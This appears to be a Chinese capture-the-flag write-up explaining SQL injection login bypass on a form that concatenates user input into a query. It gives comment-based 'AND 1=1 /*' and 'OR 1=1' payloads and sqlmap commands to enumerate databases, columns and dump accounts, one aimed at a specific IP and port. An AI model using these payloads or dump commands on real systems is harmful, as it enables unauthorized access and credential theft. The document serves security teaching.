原理
服务端后台存在类似的代码
SELECT * FROM accounts WHERE username='admin' and password = 'password'
后端如果没做校验处理,username 和 password 值从前端传进来直接执行sql语句,就存在可以构造恶意代码。
如果在用户名框内输入"admin' AND 1=1 /*", 在密码框内输入任意字符串,那么后台执行的SQL就为
SELECT * FROM accounts WHERE username='admin' and 1=1 /*' and password = 'password'
这个有个前提条件是username是admin,如果不是amdin的话可以把and 换成 or
SELECT * FROM accounts WHERE username='admin' OR 1=1 /*' and password = 'password'
1、用任意用户名和口令登陆并用burpsuite抓包
2、用户名处使用万能密码登陆成功获取flag(密码不用输了,因为后面的已经被注释)
也可用sqlmap工具
sqlmap.py -u http://219.153.49.228:40363 --forms --dbs
本题还可以使用sqlmap进行注入
暴库 sqlmap -u "http://ip/" --forms --dbs
爆表sqlmap -u "http://ip" --forms -d "数据库名" --columns
爆账户sqlmap -u "ip" --forms -d "数据库名" --dump
解密即可获取用户名密码,登录后得到key